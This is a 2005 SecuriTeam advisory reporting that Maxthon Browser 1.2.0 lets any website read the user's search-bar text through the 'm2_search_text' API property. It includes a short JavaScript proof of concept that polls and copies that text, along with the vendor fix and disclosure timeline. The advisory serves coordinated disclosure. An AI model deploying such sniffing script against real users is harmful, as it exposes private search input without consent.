[NT] Maxthon Browser Information Disclosure

From: SecuriTeam (support_at_securiteam.com)
Date: 03/30/05

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Date: 30 Mar 2005 10:42:47 +0200

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      Maxthon Browser Information Disclosure
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.maxthon.com/> Maxthon Internet Browser software is a powerful
    tabbed browser with a highly customizable interface.

    The search bar of Maxthon allow any website to access it's content using
    Javascript like it was a plug-ins of the browser.

    DETAILS

    Vulnerable Systems:
     * Maxthon Internet Browser version 1.2.0. Prior versions may be
    vulnerable as well

    Immune Systems:
     * Maxthon Internet Browser version 1.2.1.

    Maxthon's API includes a property named "m2_search_text", which allows
    plug-ins to interact with the search bar. Any website the user visits can
    easily fetch the search bar's data using this property, the same way
    plug-ins does.

    Proof of Concept:
    The following javascript performs the sniffing:
    <script>
    function sniff() {
     try {
      s.value=external.m2_search_text;
     }
     catch(e) {}
    }
    function body_onload() {
     window.setInterval('sniff()',100);
    }
    </script>
    A live demonstation can be found at:
    <http://www.raffon.net/advisories/maxthon/searchbarpoc.html>
    http://www.raffon.net/advisories/maxthon/searchbarpoc.html

    Vendor Status:
    The vendor has fixed the problem in version 1.2.1

    Disclosure Timeline:
    02-Mar-2005: Vendor informed.
    03-Mar-2005: Vendor confirmed vulnerability.
    24-Mar-2005: Vendor published a fixed version.
    25-Mar-2005: Public disclosure.

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:avivra@gmail.com> Aviv Raff.

    ========================================

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